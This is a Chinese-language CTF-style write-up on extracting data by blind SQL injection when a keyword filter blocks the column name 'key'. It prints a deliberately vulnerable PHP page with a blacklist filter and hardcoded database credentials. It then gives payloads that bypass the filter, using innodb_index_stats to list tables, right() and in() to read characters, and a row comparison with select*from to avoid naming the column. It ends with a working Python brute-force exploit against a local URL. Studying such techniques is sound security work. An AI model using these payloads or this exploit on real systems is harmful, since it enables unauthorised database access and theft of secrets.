再看SQL注入过滤列名如何注出数据

原创

Deen_

修改于 2019-11-02 20:03:26

3.8K0

修改于 2019-11-02 20:03:26

源码

<?php
error_reporting(0);
if (!isset($_POST['uname'])) {
    show_source(__FILE__);
    die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
      
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "error";
        exit();
    }
}
$filter = "key|union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|\#";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}
$con = mysql_connect("127.0.0.1","root","heheda123");
if (!$con){
    die('Could not connect:'.mysql_error());
}
$db="test";
mysql_select_db($db, $con);
$sql="SELECT * FROM secrets WHERE username = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) > 0) { 
    echo "success";
}
else{
    print "fail";
}
mysql_close($con);
/*
CREATE TABLE IF NOT EXISTS `secrets` (
`id` tinyint(3) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(20) NOT NULL,
`key` char(32) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=innodb DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;



INSERT INTO `xxxxx` (`id`, `username`, `key`) VALUES
(1, 'xxxx', 'xxxxx');

tips:
flag is key
key is number
?>
*/

?>

分析

分析代码

过滤union,只能盲注
过滤了mid,left,substr截取字符，还剩下right
过滤了= like 还能用<>,in
返回'success'和'fail'优先考虑布尔型盲注
过滤了or字段information和ord字段不能用，已知列名，还差表名
列名key被过滤

绕过

获取表名可以使用innodb_index_stats,mysql5.5版本级以上，默认使用Innode作为存储引擎。

select group_concat(table_name) from mysql.innodb_index_stats where database_name in(database())可以获取新建的表名

所以完整payload应为:

(right((select group_concat(table_name) from mysql.innodb_index_stats where database_name in(database())),1)in('a')

使用right函数进行截取要注意取出来的顺序是反的

表名有了，但是使用select key from secrets是会被过滤的，这也是这个注入里面最不好绕的地方。

绕过列名key限制

使用select*from以及大于小于号进行绕过

一张图就清楚了。

即(select 1,2,'3')小于 (select 1,2,'4')

先使用select*from 从表中取出数据，这样就可以绕过列名key的限制，再与我们数据进行比较。

这里key为纯数字是为了降低难度，当然，涉及字母，大小顺序为字母大于数字，小写字母大于大写。

所以这里为了使用这种方法注出key的值，需要先注出username的值。

payload为：

(right((select group_concat(username) from secrets),1)in('a')

得到username值为deen之后，再使用上述方法，完整payload：

((select*from secrets)<(select 1,'deen',{}))

exp

exp如下:

import requests
url = "http://127.0.0.1/flag2.php"
flag = ""

for i in range(1,32):
    for j in range(0,9):       
        payload = "'||((select*from/**/secrets)<(select/**/1,'deen','{}'))||'".format(flag+str(j))
        data = {
            "uname":payload
        }
        response = requests.post(url=url,data=data)
        if 'success' in response.text:
            flag = flag + str(j-1) 
            print(flag)
            break
        else:
            pass